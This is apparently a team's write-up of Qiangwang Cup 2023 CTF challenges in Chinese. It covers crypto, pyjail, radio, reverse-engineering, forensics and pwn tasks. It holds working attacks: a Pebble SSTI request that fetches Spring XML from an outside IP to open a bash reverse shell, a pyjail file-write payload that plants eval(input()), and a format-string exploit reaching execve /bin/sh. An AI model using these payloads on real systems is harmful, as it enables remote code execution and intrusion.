a26ecc12296af0e2809e455c9b18a007adab2b9748e7f99c2f80f2d6b27d79564f0f73d75a3e3a3d46ed68c23ccbf982e4c3d3e5631f3bb7f546bdaa75bf2c665dbd63fd7d20dcea7c24a746163b4f24f91f31555659587907aff7a743e35066e238b811976c2ed41fa119a303f64105eefb5d41ac07a5275edf3fd9b3d811c2fe7a5860f7fb2c0d783fa232f3037487b5e130afb87601c85f28fad64c6d97dc66718ebcebb15adbbc9c526707b815cebd6ff329c514a8997bb831b73e69a7fd6a253bcc11911cdbd9eb14eeb8fbf14d1c1977cb148fd1d77d2bf30cfa61d08cff8812a851f4896e1b005d004f0de0996172c2c6506d2ea15b01f4c5595c4ce589e8b")

iv = encrypted_data[:iv_size]
encrypted_data = encrypted_data[iv_size:]


def int_of_string(s):
    return int(binascii.hexlify(s), 16)

import binascii
from Crypto.Util import Counter

def test(key):
    if len(key)>0:
        key ,_ = EVP_BytesToKey(key, key_size, iv_size)
    # use key as AES key to decrypt encrypted_data
    if aes == AES.MODE_CTR:
        counter = Counter.new(128, initial_value=int_of_string(iv))
        cipher = AES.new(key, aes,counter=counter)
    else:
        cipher = AES.new(key, aes,iv)
    decrypted_data = cipher.decrypt(encrypted_data)
    return decrypted_data
def main():
    i=0
    dictionary = open("/mnt/d/program_tools/web/burp_v1.7.26/dictionary/rockyou.txt", "rb")
    for line in dictionary:
        key = line.strip()
        if key == b"":
            continue
        result = test(key)
        if b'HTTP' in result:
            print(result)
            print(method,i,key)
            # break
        if i%1000==0:
            print("\r"+str(i),end="")
        i+=1

main()

Pyjail ! It's myFILTER !!!

Can u input your code to escape > {print(open("/proc/1/environ").read())}
HOSTNAME=engine-1HOME=/home/ctfICQ_FLAG=

Pyjail ! It's myRevenge

思维从任意文件读取变为任意文件写入之后RCE,经过测试题目中的code模块似乎是不存在的?所以我们可以写入一个code.py,当我们再次NC的时候就会触发恶意代码。

payload如下

{open("cod"+"e.py","w").write("eva"+"l(inpu"+"t())")}

当我们第二次nc的时候我们只需要__import__('os').system('cat flag*')即可获取flag

谍影重重2.0

应该是找方法去看流量中的ICAO CODE

ADS-B解码

使用tshark直接提取tcp.payload

tshark -r attach.pcapng -T fields -e "tcp.payload" | sed '/^\s*$/d' > adsdata.txt

然后

import pyModeS as pms

with open("./1.txt","r") as f:
    data=f.read().split("\n")

for i in data:
    msg=i[18:]
    if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
        velocity_info = pms.adsb.velocity(msg)
        pms.tell(msg)
        print(f"{velocity_info}")

    print("  ")

ICAO Address 查询:https://www.planespotters.net/search?q=79a05e

ICAO需要大写,最后是79A05E

easyfuzz

首先确定长度是9,然后按字节fuzz就行了

9位任意字符 除了\x00字符->110000000
xxxxxxxxd -> 110000001
xxxxxxxod -> 110000011
xxxxxxood -> 110000111
xxxxxGood -> 110001111
xxxxbGood -> 110011111
xxxwbGood -> 110111111
xxqwbGood

Wabby Wabbo Radio

首先是一个网页,上面可以看见一个音频播放,资源是/static/audios/xh3.wav

然后还有一个play接口,访问/play会返回资源

img

一直跑这个play的接口,就会得到以下资源

/static/audios/xh1.wav
/static/audios/xh2.wav
/static/audios/xh3.wav
/static/audios/xh4.wav
/static/audios/xh5.wav
/static/audios/hint1.wav
/static/audios/hint2.wav
/static/audios/flag.wav

xh1~5和 hint1 ~2的L声道是 morse电码,解密后为:

hint1:
DO YOU KNOW QAM?
xh1: 
THE WEATHER IS REALLY NICE TODAY. IT'S A GREAT DAY TO LISTEN TO THE WABBYWABBO RADIO
hint2:
MAYBE FLAG IS PNG PICTURE
xh2:
GENSHIN IMPACT STARTS
xh3:
DO YOU WANT A FLAG? LET'S LISTEN A LITTLE LONGER
xh4:
DO YOU WANT A HINT? LET'S LISTEN A LITTLE LONGER
xh5:
IF YOU DON'T KNOW HOW TO DO IT, YOU CAN GO AHEAD AND DO SOMETHING ELSE FIRST

flag.wav的data两个频道使用qam调制

img

初始结果不对,再和hint中FLAG IS PNG PICTURE,拿头文件和结果对比,发现存在映射关系,得到最后的表应该是这样

img

再写脚本即可得到flag:

from scipy.io import wavfile
from Crypto.Util.number import *

def read_wav_channels(filename):
    sample_rate, data = wavfile.read(filename)

    if data.shape[1] != 2:
        raise ValueError("WAV file is not a stereo file.")

    channel1 = data[:, 0].tolist()  
    channel2 = data[:, 1].tolist()  

    return channel1, channel2

filename = 'flag.wav'
channel1_data, channel2_data = read_wav_channels(filename)

res = ''
for i in range(len(channel1_data)):
    x = round(channel1_data[i])
    y = round(channel2_data[i])
    if x == 1 and y == 1:
        res += '1010'
    elif x == 3 and y == 1:
        res += '1110'
    elif x == 1 and y == 3:
        res += '1011'
    elif x == 3 and y == 3:
        res += '1111'
    elif x == -1 and y == 1:
        res += '0110'
    elif x == -3 and y == 1:
        res += '0010'
    elif x == -1 and y == 3:
        res += '0111'
    elif x == -3 and y == 3:
        res += '0011'
    elif x == 1 and y == -1:
        res += '1001'
    elif x == 3 and y == -1:
        res += '1101'
    elif x == 1 and y == -3:
        res += '1000'
    elif x == 3 and y == -3:
        res += '1100'
    elif x == -1 and y == -1:
        res += '0101'
    elif x == -3 and y == -1:
        res += '0001'
    elif x == -1 and y == -3:
        res += '0100'
    elif x == -3 and y == -3:
        res += '0000'

rr = long_to_bytes(int(res,2))
flag = open('f.png','wb')
flag.write(rr)
flag.close()

强网先锋

helloSpring

POST /uploadFile HTTP/1.1
User-Agent: PostmanRuntime/7.36.0
Accept: */*
Postman-Token: a8c4d77b-34bb-43f0-b608-2ea394a4ab2d
Host: eci-2zeiuc2hk7njk3porwpc.cloudeci1.ichunqiu.com:8088
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------863943204749606110104151
Content-Length: 784

----------------------------863943204749606110104151
Content-Disposition: form-data; name="content"

aaaaaa
{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlAppli"+"cationC"+"ontext") %}
{{ yyy.setConfigLocation("http://132.232.82.54:8889/1.xml") }}
{{ yyy.refresh() }}

----------------------------863943204749606110104151
Content-Disposition: form-data; name="file"; filename="file_20231217_115016.pebble"
Content-Type: application/octet-stream

aa

----------------------------863943204749606110104151--
<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>echo YmFzaCAtaSA+|base64 -d|bash -i</value>
                </list>
            </constructor-arg>
        </bean>
    </beans>

img

ezre

很无聊hh,换码表然后不断编码解码

l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr 编码

FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8 解码

Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA 编码

pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a 解码

plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6 编码

逆一下最后一个解密即可

img

res = [0x0E, 0x18, 0x7F, 0x65, 0x5C, 0x72, 0x6D, 0x57, 0x10, 0x30, 0x6A, 0x6B, 0x34, 0x38, 0x1F, 0x37, 0x1D, 0x68, 0x40, 0x44, 0x5E, 0x56, 0x4B, 0x09, 0x18, 0x7A, 0x5B, 0x27, 0x32, 0x39, 0x32, 0x38, 0x79, 0x62, 0x3B, 0x1C, 0x79, 0x65, 0x42, 0x44, 0x1F, 0x31, 0x65, 0x5C, 0x7C, 0x61, 0x10, 0x2D]
table = [0x53, 0x46, 0x4E, 0x72, 0x49, 0x42, 0x6D, 0x6E, 0x4F, 0x4C, 0x10, 0x56, 0x74, 0x7E, 0x62, 0x4D, 0x63, 0x16, 0x6C, 0x4A, 0x1E]
index = 2023
tmp_list = []
for i in range(47):
    if i % 3 == 1:
       index = (index + 5) % 20
       tmp = table[index + 1]
    elif i % 3 == 2:
       index = (index + 7) % 19
       tmp = table[index + 2]
    else:
       index = (index + 3) % 17
       tmp = table[index + 3]
    tmp_list.append(tmp)

for i in range(46, -1, -1):
    res[i + 1] ^= res[i]
    res[i] ^= tmp_list[i]

for i in res:
   print(chr(i), end='')

 # cZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==

img

flag{3ea590ccwxehg715264fzxnzepqz}

找到PNG了吗

banner:

Linux version 5.4.0-100-generic (buildd@lcy02-amd64-002) (gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)) #113-Ubuntu SMP Thu Feb 3 18:43:29 UTC 2022 (Ubuntu 5.4.0-100.113-generic 5.4.166)                                             

直接工具https://github.com/Randark-JMT/profile-builder编译profile之后

然后根据这篇文章:https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test,对volatility2源码进行一定的patch,增加对新版dwarfdump 制作的符号表文件的格式支持,并patch Volatility2 Linux DTB Scanner的相关源码,以便于对较新的Linux Kernel内存数据进行分析

使用volatility2进行分析,在linux_find_file输出中发现可疑文件

1058449 0xffff9ce28fe300e8 /home/yuren/Desktop/have_your_fun.jocker

并在内存中发现以下明文数代码

int main()
{
    int clientSocket = socket(AF_INET, SOCK_STREAM, 0);
    if (clientSocket == -1) {
        printf("socket failed!\n");
        return 1;
    }
    struct sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(SERVER_PORT);
    serverAddr.sin_addr.s_addr = inet_addr(SERVER_IP);
    connect(clientSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr));
    int result = recv(clientSocket, buff, sizeof(buff), 0);
    int a=0;
    char q[10];
    unsigned char key[]="do_not_care";
    unsigned char key2[] = "where_is_the_key";
    FILE* file = fopen("have_your_fun.jocker", "wb");
    if (file == NULL) {
        printf("open file failed!\n");
        return 1;
    }
    unsigned char *str;
    str = (char *) malloc(20000);
    memcpy(str, buff, 20000);
    rc4_encrypt_decrypt(key2, str, 20000);
    printf("please give me the key of fun:");
    scanf("%s",q);
    rc4_encrypt_decrypt(key, str, 20000);

    fwrite(buff, 1, 20000, file);
    printf("maybe you go wrong");
    fclose(file);
    close(clientSocket);
    return 0;
}

rc4就是xor,xor两次,将png的文件头xor两次然后010找

img

一整块复制然后丢入cyberchef就解开了

img

石头剪刀布

他是贝叶斯预测,然后手搓序列,每次贝叶斯的预测的应该差不多,可以看最后一次结果,然后序列中改成赢过AI的出法加入序列,按照这个规律改就可以把分数逐步上升,最后达到260分拿到flag

from pwn import *
import re
import time

# 0 - 石头,1 - 剪刀,2 - 布
p = remote('8.147.133.72',25458)

opponent_choice = [1,1,1,1,1,2,2,0,0,1,2,0,1,2,0,2,0,0,0,1,1,1,1,1,2,1,2,2,2,0,2,0,0,0,1,1,1,1,2,2,2,0,0,1,2,0,1,2,0,2,0,2,1,0,2,1,0,0,0,1,1,1,2,2,0,0,1,2,1,1,2,2,2,0,1,2,0,1,2,0,2,0,1,0,2,1,0,0]

p.recv()

for i in range(len(opponent_choice)):
    d = p.recv()
    p.sendline(str(opponent_choice[i]).encode())
    r = p.recv()
    score = re.findall(r'你的分数: (.*?)\n',d.decode())
    if score != []:
        print(score[0]+'/260')
    time.sleep(0.05)

d = p.recv()
print(d.decode())
p.sendline(b'2')
r = p.recv()
print(r.decode())
score = re.findall(r'你的分数: (.*?)\n',d.decode())
if score != []:
    print(score[0]+'/260')

print(str(len(opponent_choice))+'/100')
p.interactive()

SpeedUp

求指数的阶乘

img

根据题目,直接定位到A072345这个数学问题

数据库:https://sequencedb.net/index.html?s=A072345

sha256(4495662081)=bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797

ez_fmt

from pwn import*
# context.log_level = "debug"
elf = ELF("./ez_fmt")
libc = elf.libc
# p = process("./ez_fmt")
p = remote("47.104.24.40",1337)
p.recvuntil("0x")
stack_addr = int(p.recv(12),16)
print(hex(stack_addr))
payload = "%{}c%10$hn".format(0x10b0)
payload += "%{}c%11$hn".format(0xffff-0x10b0)
payload += "%19$p"
payload = payload.ljust(0x20,"a")
payload += p64(stack_addr-0x8)
payload += p64(0x404010)
p.recv()
p.send(payload)
p.recvuntil("0x")
libc_base = int(p.recv(12),16) - libc.sym["__libc_start_main"] - 243
print(hex(libc_base))
"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""
one_gadget = libc_base + 0xe3afe
payload = "%{}c%8$hn".format(0x12ce)
payload = payload.ljust(0x10,"a")
payload += p64(stack_addr-0x8 - 0x150)
payload += p64(0x00000000004012d3)
payload += p64(libc_base + libc.search("/bin/sh").next())
payload += p64(libc_base + 0x51cd0 + 0x2)
p.recv()
# attach(p)
p.send(payload)

p.interactive()

Babyre

魔改tea+反调试

#include<stdio.h>
#include <windows.h>
char result[] = { 0xE0,0xF2,0x23,0x95,0x93,0xC2,0xD8,0x8E,0x93,0xC3,0x68,0x86,0xBC,0x50,0xF2,0xDD,0x99,0x44,0x0E,0x51,0x44,0xBD,0x60,0x8C,0xF2,0xAB,0xDC,0x34,0x60,0xD2,0x0F,0xC1 };
int tea_key[] = { 0x62,0x6F,0x6D,0x62 };

void  tea(unsigned int l, unsigned int r)
{
    unsigned int delata;
    int i;
    int j;

    delata = 0x90508D47;
    for (i = 0; i < 4; ++i)
    {
        for (j = 0; j < 33; ++j)
        {
            l += (((32 * r) ^ (r >> 4)) + r) ^ (delata + tea_key[delata & 3]) ^ delata;
            r += (((32 * l) ^ (l >> 4)) + l) ^ (delata + tea_key[(delata >> 11) & 3]);
            delata -= 0x77BF7F99;
        }
    }
}

void  dacode_tea(unsigned int l, unsigned int r)
{
    unsigned int delata;
    int i;
    int j;

    delata = (-0x77BF7F99) * 4 * 33 + 0x90508D47;
    for (i = 0; i < 4; ++i)
    {
        for (j = 0; j < 33; ++j)
        {
            delata += 0x77BF7F99;
            r -= (((32 * l) ^ (l >> 4)) + l) ^ (delata + tea_key[(delata >> 11) & 3]);
            l -= (((32 * r) ^ (r >> 4)) + r) ^ (delata + tea_key[delata & 3]) ^ delata;
        }
    }
    // printf("%x\n", delata);
    //printf("0x%x,0x%x\n", l, r);
    for (int i = 0; i < 4; i++) {
        printf("%c", (*(((char*)(&l)) + i)));
    }
    for (int i = 0; i < 4; i++) {
        printf("%c", (*(((char*)(&r)) + i)));
    }
    // W31com3_2_Th3_QwbS7_4nd_H4v3_Fun
}


int main()
{
    unsigned int* res = (unsigned int*)result;
    for (int i = 0; i < 4; i++) {
        dacode_tea(res[2*i], res[2*i+1]);
    }
}

flag{W31com3_2_Th3_QwbS7_4nd_H4v3_Fun}

  • 强网拟态2023 By W&M
  • L3HCTF 2024 By W&M
取消回复

说点什么?

© 2025 W&M Team. Using Typecho & Moricolor.